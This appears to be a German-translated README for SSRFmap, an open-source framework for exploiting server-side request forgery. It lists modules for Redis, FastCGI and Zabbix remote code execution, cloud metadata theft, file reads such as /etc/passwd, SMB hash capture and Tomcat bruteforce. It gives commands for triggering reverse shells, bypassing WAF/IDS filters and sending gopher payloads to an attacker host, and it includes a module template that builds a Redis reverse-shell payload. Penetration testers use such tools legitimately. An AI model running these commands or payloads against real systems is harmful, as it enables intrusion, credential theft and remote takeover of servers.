SSRF werden häufig verwendet, um Aktionen auf andere Dienste auszulösen. Dieses Framework zielt darauf ab, diese Dienste einfach zu finden und zu nutzen. SSRFmap verwendet eine Burp-Anforderungsdatei als Eingabe und einen Parameter zum Fuzzen.
Server Side Request Forgery oder SSRF ist eine Schwachstelle, bei der ein Angreifer einen Server dazu zwingt, in seinem Namen Anfragen auszuführen.
Die folgenden Module sind bereits implementiert und können mit dem Argument -m
verwendet werden.
Name | Beschreibung |
---|---|
axfr | DNS-Zonenübertragungen (AXFR) |
fastcgi | FastCGI RCE |
redis | Redis RCE |
github | Github Enterprise RCE < 2.8.7 |
zabbix | Zabbix RCE |
mysql | Ausführung des MySQL-Befehls |
postgres | Ausführung des Postgres-Befehls |
docker | Docker-Infoleaks über API |
smtp | SMTP-E-Mail senden |
portscan | Scannen Sie die 8.000 wichtigsten Ports nach dem Host |
networkscan | HTTP-Ping durchläuft das Netzwerk |
readfiles | Lesen Sie Dateien wie /etc/passwd |
alibaba | Dateien vom Anbieter lesen (z. B. Metadaten, Benutzerdaten) |
aws | Dateien vom Anbieter lesen (z. B. Metadaten, Benutzerdaten) |
gce | Dateien vom Anbieter lesen (z. B. Metadaten, Benutzerdaten) |
digitalocean | Dateien vom Anbieter lesen (z. B. Metadaten, Benutzerdaten) |
socksproxy | SOCKS4-Proxy |
smbhash | Erzwingen Sie eine SMB-Authentifizierung über einen UNC-Pfad |
tomcat | Bruteforce-Angriff gegen Tomcat Manager |
custom | Senden Sie benutzerdefinierte Daten an einen Abhördienst, z. B.: netcat |
memcache | Speichern Sie Daten in der Memcache-Instanz |
Aus dem Github-Repository.
$ git clone https: // github.com / swisskyrepo / SSRFmap
$ cd SSRFmap /
$ pip3 install - r requirements.txt
$ python3 ssrfmap.py
usage: ssrfmap.py [ - h ] [ - r REQFILE ] [ - p PARAM ] [ - m MODULES ] [ - l HANDLER ]
[ - v [ VERBOSE ]] [ -- lhost LHOST ] [ -- lport LPORT ]
[ -- uagent USERAGENT ] [ -- ssl [ SSL ]] [ -- level [ LEVEL ]]
optional arguments:
- h , -- help show this help message and exit
- r REQFILE SSRF Request file
- p PARAM SSRF Parameter to target
- m MODULES SSRF Modules to enable
- l HANDLER Start an handler for a reverse shell
- v [ VERBOSE ] Enable verbosity
-- lhost LHOST LHOST reverse shell or IP to target in the network
-- lport LPORT LPORT reverse shell or port to target in the network
-- uagent USERAGENT User Agent to use
-- ssl [ SSL ] Use HTTPS without verification
-- proxy PROXY Use HTTP(s) proxy (ex: http: // localhost: 8080 )
-- level [ LEVEL ] Level of test to perform ( 1 - 5 , default : 1 )
Docker
$ git clone https: // github.com / swisskyrepo / SSRFmap
$ docker build -- no - cache - t ssrfmap .
$ docker run - it ssrfmap ssrfmap.py [ OPTIONS ]
$ docker run - it - v $ (pwd): / usr / src / app ssrfmap ssrfmap.py
Zuerst benötigen Sie eine Anfrage mit einem Parameter zum Fuzzen. Burp-Anfragen funktionieren gut mit SSRFmap. Sie sollten wie folgt aussehen. Weitere Beispiele finden Sie im Ordner ./examples .
POST / ssrf HTTP / 1.1
Host: 127.0 . 0.1 : 5000
User - Agent: Mozilla / 5.0 (X11; Linux x86_64; rv: 62.0 ) Gecko / 20100101 Firefox / 62.0
Accept: text / html , application / xhtml + xml , application / xml;q = 0.9 , */* ;q = 0.8
Accept - Language: en - US , en;q = 0.5
Accept - Encoding: gzip , deflate
Referer: http: // mysimple.ssrf /
Content - Type: application / x - www - form - urlencoded
Content - Length: 31
Connection: close
Upgrade - Insecure - Requests: 1
url = https % 3A % 2F % 2Fwww.google.fr
Verwenden Sie -m
gefolgt vom Modulnamen (getrennt durch ein ,
wenn Sie mehrere Module starten möchten).
# Launch a portscan on localhost and read default files
python ssrfmap.py - r examples / request.txt - p url - m readfiles , portscan
Wenn Sie einen Header, einen GET- oder einen POST-Parameter einfügen möchten, müssen Sie nur den Parameternamen angeben
python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / tmp / test
Wenn Sie einen benutzerdefinierten Benutzeragenten benötigen, verwenden Sie --uagent
. Einige Ziele verwenden HTTPS. Sie können es mit --ssl
aktivieren.
# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py - r examples / request.txt - p url - m portscan -- ssl -- uagent " SSRFmapAgent "
Bei einigen Modulen können Sie eine Rückverbindung erstellen. Dazu müssen Sie LHOST
und LPORT
angeben. Außerdem kann SSRFmap auf die eingehende Reverse-Shell warten.
# Triggering a reverse shell on a Redis
python ssrfmap.py - r examples / request.txt - p url - m redis -- lhost = 127.0 . 0.1 -- lport = 4242 - l 4242
# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
Wenn das Ziel durch eine WAF oder einige Filter geschützt ist, können Sie mit dem Parameter --level
eine Vielzahl von Nutzlasten und Codierungen ausprobieren.
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...
Eine schnelle Möglichkeit, das Framework zu testen, kann mit dem SSRF-Dienst data/example.py
erfolgen.
Lokal
FLASK_APP = examples / example.py flask run &
python ssrfmap.py - r examples / request.txt - p url - m readfiles
Docker
docker build -- no - cache - t ssrfmap .
# run example ssrf http service
docker run - it - v $ (pwd): / usr / src / app -- name example ssrfmap examples / example.py
# run example ssrf dns service
docker exec - u root:root - it example python examples / ssrf_dns.py
# run ssrfmap tool
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles
Starten Sie die Testanfragen:
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request2.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request4.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request5.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m axfr
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m axfr -- lhost 127.0 . 0.1 -- lport 53 -- ldomain example.lab
Ich ❤️ Pull-Anfragen :) Fühlen Sie sich frei, eine der unten aufgeführten Funktionen oder einen neuen Dienst hinzuzufügen.
gopher: // < proxyserver > : 8080 / _GET http: // < attacker: 80 > / x HTTP / 1.1 % 0A % 0A
gopher: // < proxyserver > : 8080 / _POST % 20http: // < attacker > : 80 / x % 20HTTP / 1.1 % 0ACookie: % 20eatme % 0A % 0AI + am + a + post + body
Der folgende Code ist eine Vorlage, wenn Sie ein Modul hinzufügen möchten, das mit einem Dienst interagiert.
from core . utils import *
import logging
name = "servicename in lowercase"
description = "ServiceName RCE - What does it do"
author = "Name or pseudo of the author"
documentation = [ "http://link_to_a_research" , "http://another_link" ]
class exploit ():
SERVER_HOST = "127.0.0.1"
SERVER_PORT = "4242"
def __init__ ( self , requester , args ):
logging . info ( "Module '{}' launched !" . format ( name ))
# Handle args for reverse shell
if args . lhost == None : self . SERVER_HOST = input ( "Server Host:" )
else : self . SERVER_HOST = args . lhost
if args . lport == None : self . SERVER_PORT = input ( "Server Port:" )
else : self . SERVER_PORT = args . lport
# Data for the service
# Using a generator to create the host list
# Edit the following ip if you need to target something else
gen_host = gen_ip_list ( "127.0.0.1" , args . level )
for ip in gen_host :
port = "6379"
data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
payload = wrapper_gopher ( data , ip , port )
# Handle args for reverse shell
payload = payload . replace ( "SERVER_HOST" , self . SERVER_HOST )
payload = payload . replace ( "SERVER_PORT" , self . SERVER_PORT )
# Send the payload
r = requester . do_request ( args . param , payload )
Sie können auch mit einem IRL-Bier oder über den Github-Sponsor-Button einen Beitrag leisten.